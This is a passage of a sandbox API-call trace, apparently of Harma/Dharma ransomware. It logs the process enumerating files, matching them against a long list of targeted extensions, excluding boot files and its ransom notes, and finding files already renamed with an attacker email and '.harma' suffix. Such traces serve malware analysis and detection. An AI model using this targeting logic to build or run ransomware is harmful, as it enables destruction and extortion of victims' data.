[0174.657] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".hta") returned 4 [0174.657] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".htc") returned 4 [0174.657] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".htm") returned 4 [0174.657] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".html") returned 5 [0174.657] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0174.657] lstrlenW (lpString=".icb") returned 4 [0174.657] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".ics") returned 4 [0174.657] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".iff") returned 4 [0174.657] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".inc") returned 4 [0174.657] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".indd") returned 5 [0174.657] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0174.657] lstrlenW (lpString=".ini") returned 4 [0174.657] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0174.657] lstrlenW (lpString="desktop.ini") returned 11 [0174.658] lstrlenW (lpString=".harma") returned 6 [0174.658] lstrcmpiW (lpString1=".harma", lpString2="op.ini") returned -1 [0174.658] lstrlenW (lpString="desktop.ini") returned 11 [0174.658] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0174.658] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0174.658] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0174.658] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0174.658] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0174.658] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0174.658] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0174.658] lstrcmpiW (lpString1="3G6885.exe", lpString2="desktop.ini") returned -1 [0174.658] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.658] FindNextFileW (in: hFindFile=0x34a12c8, lpFindFileData=0x2fdf808 | out: lpFindFileData=0x2fdf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcd0f6270, ftCreationTime.dwHighDateTime=0x1d58aa8, ftLastAccessTime.dwLowDateTime=0xcd0f6270, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xcd11c3d0, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma", cAlternateFileName="DESKTO~1.HAR")) returned 1 [0174.658] lstrlenW (lpString="desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma") returned 52 [0174.658] lstrlenW (lpString=".1cd") returned 4 [0174.658] lstrcmpiW (lpString1=".1cd", lpString2="arma") returned -1 [0174.658] lstrlenW (lpString=".3ds") returned 4 [0174.658] lstrcmpiW (lpString1=".3ds", lpString2="arma") returned -1 [0174.658] lstrlenW (lpString=".3fr") returned 4 [0174.658] lstrcmpiW (lpString1=".3fr", lpString2="arma") returned -1 [0174.658] lstrlenW (lpString=".3g2") returned 4 [0174.658] lstrcmpiW (lpString1=".3g2", lpString2="arma") returned -1 [0174.658] lstrlenW (lpString=".3gp") returned 4 [0174.658] lstrcmpiW (lpString1=".3gp", lpString2="arma") returned -1 [0174.658] lstrlenW (lpString=".7z") returned 3 [0174.658] lstrcmpiW (lpString1=".7z", lpString2="rma") returned -1 [0174.658] lstrlenW (lpString=".accda") returned 6 [0174.658] lstrcmpiW (lpString1=".accda", lpString2=".harma") returned -1 [0174.658] lstrlenW (lpString=".accdb") returned 6 [0174.658] lstrcmpiW (lpString1=".accdb", lpString2=".harma") returned -1 [0174.658] lstrlenW (lpString=".accdc") returned 6 [0174.658] lstrcmpiW (lpString1=".accdc", lpString2=".harma") returned -1 [0174.659] lstrlenW (lpString=".accde") returned 6 [0174.659] lstrcmpiW (lpString1=".accde", lpString2=".harma") returned -1 [0174.659] lstrlenW (lpString=".accdt") returned 6 [0174.659] lstrcmpiW (lpString1=".accdt", lpString2=".harma") returned -1 [0174.659] lstrlenW (lpString=".accdw") returned 6 [0174.659] lstrcmpiW (lpString1=".accdw", lpString2=".harma") returned -1 [0174.659] lstrlenW (lpString=".adb") returned 4 [0174.659] lstrcmpiW (lpString1=".adb", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".adp") returned 4 [0174.659] lstrcmpiW (lpString1=".adp", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".ai") returned 3 [0174.659] lstrcmpiW (lpString1=".ai", lpString2="rma") returned -1 [0174.659] lstrlenW (lpString=".ai3") returned 4 [0174.659] lstrcmpiW (lpString1=".ai3", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".ai4") returned 4 [0174.659] lstrcmpiW (lpString1=".ai4", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".ai5") returned 4 [0174.659] lstrcmpiW (lpString1=".ai5", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".ai6") returned 4 [0174.659] lstrcmpiW (lpString1=".ai6", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".ai7") returned 4 [0174.659] lstrcmpiW (lpString1=".ai7", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".ai8") returned 4 [0174.659] lstrcmpiW (lpString1=".ai8", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".anim") returned 5 [0174.659] lstrcmpiW (lpString1=".anim", lpString2="harma") returned -1 [0174.659] lstrlenW (lpString=".arw") returned 4 [0174.659] lstrcmpiW (lpString1=".arw", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".as") returned 3 [0174.659] lstrcmpiW (lpString1=".as", lpString2="rma") returned -1 [0174.659] lstrlenW (lpString=".asa") returned 4 [0174.659] lstrcmpiW (lpString1=".asa", lpString2="arma") returned -1 [0174.659] lstrlenW (lpString=".asc") returned 4 [0174.659] lstrcmpiW (lpString1=".asc", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".ascx") returned 5 [0174.660] lstrcmpiW (lpString1=".ascx", lpString2="harma") returned -1 [0174.660] lstrlenW (lpString=".asm") returned 4 [0174.660] lstrcmpiW (lpString1=".asm", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".asmx") returned 5 [0174.660] lstrcmpiW (lpString1=".asmx", lpString2="harma") returned -1 [0174.660] lstrlenW (lpString=".asp") returned 4 [0174.660] lstrcmpiW (lpString1=".asp", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".aspx") returned 5 [0174.660] lstrcmpiW (lpString1=".aspx", lpString2="harma") returned -1 [0174.660] lstrlenW (lpString=".asr") returned 4 [0174.660] lstrcmpiW (lpString1=".asr", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".asx") returned 4 [0174.660] lstrcmpiW (lpString1=".asx", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".avi") returned 4 [0174.660] lstrcmpiW (lpString1=".avi", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".avs") returned 4 [0174.660] lstrcmpiW (lpString1=".avs", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".backup") returned 7 [0174.660] lstrcmpiW (lpString1=".backup", lpString2="].harma") returned -1 [0174.660] lstrlenW (lpString=".bak") returned 4 [0174.660] lstrcmpiW (lpString1=".bak", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".bay") returned 4 [0174.660] lstrcmpiW (lpString1=".bay", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".bd") returned 3 [0174.660] lstrcmpiW (lpString1=".bd", lpString2="rma") returned -1 [0174.660] lstrlenW (lpString=".bin") returned 4 [0174.660] lstrcmpiW (lpString1=".bin", lpString2="arma") returned -1 [0174.660] lstrlenW (lpString=".bmp") returned 4 [0174.661] lstrcmpiW (lpString1=".bmp", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".bz2") returned 4 [0174.661] lstrcmpiW (lpString1=".bz2", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".c") returned 2 [0174.661] lstrcmpiW (lpString1=".c", lpString2="ma") returned -1 [0174.661] lstrlenW (lpString=".cdr") returned 4 [0174.661] lstrcmpiW (lpString1=".cdr", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".cer") returned 4 [0174.661] lstrcmpiW (lpString1=".cer", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".cf") returned 3 [0174.661] lstrcmpiW (lpString1=".cf", lpString2="rma") returned -1 [0174.661] lstrlenW (lpString=".cfc") returned 4 [0174.661] lstrcmpiW (lpString1=".cfc", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".cfm") returned 4 [0174.661] lstrcmpiW (lpString1=".cfm", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".cfml") returned 5 [0174.661] lstrcmpiW (lpString1=".cfml", lpString2="harma") returned -1 [0174.661] lstrlenW (lpString=".cfu") returned 4 [0174.661] lstrcmpiW (lpString1=".cfu", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".chm") returned 4 [0174.661] lstrcmpiW (lpString1=".chm", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".cin") returned 4 [0174.661] lstrcmpiW (lpString1=".cin", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".class") returned 6 [0174.661] lstrcmpiW (lpString1=".class", lpString2=".harma") returned -1 [0174.661] lstrlenW (lpString=".clx") returned 4 [0174.661] lstrcmpiW (lpString1=".clx", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".config") returned 7 [0174.661] lstrcmpiW (lpString1=".config", lpString2="].harma") returned -1 [0174.661] lstrlenW (lpString=".cpp") returned 4 [0174.661] lstrcmpiW (lpString1=".cpp", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".cr2") returned 4 [0174.661] lstrcmpiW (lpString1=".cr2", lpString2="arma") returned -1 [0174.661] lstrlenW (lpString=".crt") returned 4 [0174.662] lstrcmpiW (lpString1=".crt", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".crw") returned 4 [0174.662] lstrcmpiW (lpString1=".crw", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".cs") returned 3 [0174.662] lstrcmpiW (lpString1=".cs", lpString2="rma") returned -1 [0174.662] lstrlenW (lpString=".css") returned 4 [0174.662] lstrcmpiW (lpString1=".css", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".csv") returned 4 [0174.662] lstrcmpiW (lpString1=".csv", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".cub") returned 4 [0174.662] lstrcmpiW (lpString1=".cub", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".dae") returned 4 [0174.662] lstrcmpiW (lpString1=".dae", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".dat") returned 4 [0174.662] lstrcmpiW (lpString1=".dat", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".db") returned 3 [0174.662] lstrcmpiW (lpString1=".db", lpString2="rma") returned -1 [0174.662] lstrlenW (lpString=".dbf") returned 4 [0174.662] lstrcmpiW (lpString1=".dbf", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".dbx") returned 4 [0174.662] lstrcmpiW (lpString1=".dbx", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".dc3") returned 4 [0174.662] lstrcmpiW (lpString1=".dc3", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".dcm") returned 4 [0174.662] lstrcmpiW (lpString1=".dcm", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".dcr") returned 4 [0174.662] lstrcmpiW (lpString1=".dcr", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".der") returned 4 [0174.662] lstrcmpiW (lpString1=".der", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".dib") returned 4 [0174.662] lstrcmpiW (lpString1=".dib", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".dic") returned 4 [0174.662] lstrcmpiW (lpString1=".dic", lpString2="arma") returned -1 [0174.662] lstrlenW (lpString=".dif") returned 4 [0174.662] lstrcmpiW (lpString1=".dif", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".divx") returned 5 [0174.663] lstrcmpiW (lpString1=".divx", lpString2="harma") returned -1 [0174.663] lstrlenW (lpString=".djvu") returned 5 [0174.663] lstrcmpiW (lpString1=".djvu", lpString2="harma") returned -1 [0174.663] lstrlenW (lpString=".dng") returned 4 [0174.663] lstrcmpiW (lpString1=".dng", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".doc") returned 4 [0174.663] lstrcmpiW (lpString1=".doc", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".docm") returned 5 [0174.663] lstrcmpiW (lpString1=".docm", lpString2="harma") returned -1 [0174.663] lstrlenW (lpString=".docx") returned 5 [0174.663] lstrcmpiW (lpString1=".docx", lpString2="harma") returned -1 [0174.663] lstrlenW (lpString=".dot") returned 4 [0174.663] lstrcmpiW (lpString1=".dot", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".dotm") returned 5 [0174.663] lstrcmpiW (lpString1=".dotm", lpString2="harma") returned -1 [0174.663] lstrlenW (lpString=".dotx") returned 5 [0174.663] lstrcmpiW (lpString1=".dotx", lpString2="harma") returned -1 [0174.663] lstrlenW (lpString=".dpx") returned 4 [0174.663] lstrcmpiW (lpString1=".dpx", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".dqy") returned 4 [0174.663] lstrcmpiW (lpString1=".dqy", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".dsn") returned 4 [0174.663] lstrcmpiW (lpString1=".dsn", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".dt") returned 3 [0174.663] lstrcmpiW (lpString1=".dt", lpString2="rma") returned -1 [0174.663] lstrlenW (lpString=".dtd") returned 4 [0174.663] lstrcmpiW (lpString1=".dtd", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".dwg") returned 4 [0174.663] lstrcmpiW (lpString1=".dwg", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".dwt") returned 4 [0174.663] lstrcmpiW (lpString1=".dwt", lpString2="arma") returned -1 [0174.663] lstrlenW (lpString=".dx") returned 3 [0174.664] lstrcmpiW (lpString1=".dx", lpString2="rma") returned -1 [0174.664] lstrlenW (lpString=".dxf") returned 4 [0174.664] lstrcmpiW (lpString1=".dxf", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".edml") returned 5 [0174.664] lstrcmpiW (lpString1=".edml", lpString2="harma") returned -1 [0174.664] lstrlenW (lpString=".efd") returned 4 [0174.664] lstrcmpiW (lpString1=".efd", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".elf") returned 4 [0174.664] lstrcmpiW (lpString1=".elf", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".emf") returned 4 [0174.664] lstrcmpiW (lpString1=".emf", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".emz") returned 4 [0174.664] lstrcmpiW (lpString1=".emz", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".epf") returned 4 [0174.664] lstrcmpiW (lpString1=".epf", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".eps") returned 4 [0174.664] lstrcmpiW (lpString1=".eps", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".epsf") returned 5 [0174.664] lstrcmpiW (lpString1=".epsf", lpString2="harma") returned -1 [0174.664] lstrlenW (lpString=".epsp") returned 5 [0174.664] lstrcmpiW (lpString1=".epsp", lpString2="harma") returned -1 [0174.664] lstrlenW (lpString=".erf") returned 4 [0174.664] lstrcmpiW (lpString1=".erf", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".exr") returned 4 [0174.664] lstrcmpiW (lpString1=".exr", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".f4v") returned 4 [0174.664] lstrcmpiW (lpString1=".f4v", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".fido") returned 5 [0174.664] lstrcmpiW (lpString1=".fido", lpString2="harma") returned -1 [0174.664] lstrlenW (lpString=".flm") returned 4 [0174.664] lstrcmpiW (lpString1=".flm", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".flv") returned 4 [0174.664] lstrcmpiW (lpString1=".flv", lpString2="arma") returned -1 [0174.664] lstrlenW (lpString=".frm") returned 4 [0174.664] lstrcmpiW (lpString1=".frm", lpString2="arma") returned -1 [0174.667] FindNextFileW (in: hFindFile=0x34a0280, lpFindFileData=0x2fdf808 | out: lpFindFileData=0x2fdf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.667] FindNextFileW (in: hFindFile=0x34a0280, lpFindFileData=0x2fdf808 | out: lpFindFileData=0x2fdf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0174.668] FindNextFileW (in: hFindFile=0x34a0280, lpFindFileData=0x2fdf808 | out: lpFindFileData=0x2fdf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.668] FindNextFileW (in: hFindFile=0x34a0280, lpFindFileData=0x2fdf808 | out: lpFindFileData=0x2fdf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 Thread: id = 85 os_tid = 0x700 Thread: id = 86 os_tid = 0x680 [0174.698] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x34a0b08 [0174.699] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x34b0b10 [0174.699] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500760 [0174.699] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x532428 [0174.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500778 [0174.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3ca0020 [0174.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500790 [0174.700] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500790, Size=0x20) returned 0x537a80 [0174.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500790 [0174.700] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500790, Size=0x20) returned 0x537a08 [0174.700] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.700] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.700] Wow64DisableWow64FsRedirection (in: OldValue=0x379ff58 | out: OldValue=0x379ff58*=0x0) returned 1 [0174.700] lstrlenW (lpString="kernel32.dll") returned 12 [0174.700] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a80 | out: hHeap=0x4b0000) returned 1 [0174.700] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.700] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a08 | out: hHeap=0x4b0000) returned 1 [0174.701] Sleep (dwMilliseconds=0x64) [0174.867] lstrlenW (lpString="BCD") returned 3 [0174.867] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.867] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.867] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.867] lstrlenW (lpString=".doc") returned 4 [0174.867] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0174.867] lstrlenW (lpString=".docx") returned 5 [0174.867] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0174.867] lstrlenW (lpString=".pdf") returned 4 [0174.867] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0174.867] lstrlenW (lpString=".xls") returned 4 [0174.867] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0174.867] lstrlenW (lpString=".xlsx") returned 5 [0174.867] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0174.868] lstrlenW (lpString=".ppt") returned 4 [0174.868] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0174.868] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.868] lstrlenW (lpString=".zip") returned 4 [0174.868] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0174.868] lstrlenW (lpString=".rar") returned 4 [0174.868] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0174.868] lstrlenW (lpString=".bz2") returned 4 [0174.868] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0174.868] lstrlenW (lpString=".7z") returned 3 [0174.868] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0174.868] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.868] lstrlenW (lpString=".dbf") returned 4 [0174.868] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0174.868] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.868] lstrlenW (lpString=".1cd") returned 4 [0174.868] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0174.868] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.868] lstrlenW (lpString=".jpg") returned 4 [0174.868] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0174.868] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.868] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.868] lstrlenW (lpString=".doc") returned 4 [0174.868] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0174.868] lstrlenW (lpString=".docx") returned 5 [0174.868] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0174.868] lstrlenW (lpString=".pdf") returned 4 [0174.868] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0174.869] lstrlenW (lpString=".xls") returned 4 [0174.869] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0174.869] lstrlenW (lpString=".xlsx") returned 5 [0174.869] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0174.869] lstrlenW (lpString=".ppt") returned 4 [0174.869] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0174.869] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.869] lstrlenW (lpString=".zip") returned 4 [0174.869] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0174.869] lstrlenW (lpString=".rar") returned 4 [0174.869] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0174.869] lstrlenW (lpString=".bz2") returned 4 [0174.869] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0174.869] lstrlenW (lpString=".7z") returned 3 [0174.869] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0174.869] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.869] lstrlenW (lpString=".dbf") returned 4 [0174.869] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0174.869] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.869] lstrlenW (lpString=".1cd") returned 4 [0174.869] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0174.869] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0174.869] lstrlenW (lpString=".jpg") returned 4 [0174.869] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0174.870] lstrcmpiW (lpString1=".LOG1", lpString2=".harma") returned 1 [0174.870] lstrlenW (lpString="BCD.LOG1") returned 8 [0174.870] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0174.870] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0174.870] CloseHandle (hObject=0x1dc) returned 1 [0174.870] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.871] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.871] lstrlenW (lpString=".doc") returned 4 [0174.871] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0174.871] lstrlenW (lpString=".docx") returned 5 [0174.871] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0174.871] lstrlenW (lpString=".pdf") returned 4 [0174.871] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0174.871] lstrlenW (lpString=".xls") returned 4 [0174.871] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0174.871] lstrlenW (lpString=".xlsx") returned 5 [0174.871] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0174.871] lstrlenW (lpString=".ppt") returned 4 [0174.871] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0174.871] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.871] lstrlenW (lpString=".zip") returned 4 [0174.871] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0174.871] lstrlenW (lpString=".rar") returned 4 [0174.871] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0174.871] lstrlenW (lpString=".bz2") returned 4 [0174.871] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0174.871] lstrlenW (lpString=".7z") returned 3 [0174.871] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0174.871] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.871] lstrlenW (lpString=".dbf") returned 4 [0174.872] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0174.872] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.872] lstrlenW (lpString=".1cd") returned 4 [0174.872] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0174.872] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.872] lstrlenW (lpString=".jpg") returned 4 [0174.872] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0174.872] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.872] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.872] lstrlenW (lpString=".doc") returned 4 [0174.872] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0174.872] lstrlenW (lpString=".docx") returned 5 [0174.872] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0174.872] lstrlenW (lpString=".pdf") returned 4 [0174.872] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0174.872] lstrlenW (lpString=".xls") returned 4 [0174.872] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0174.872] lstrlenW (lpString=".xlsx") returned 5 [0174.872] 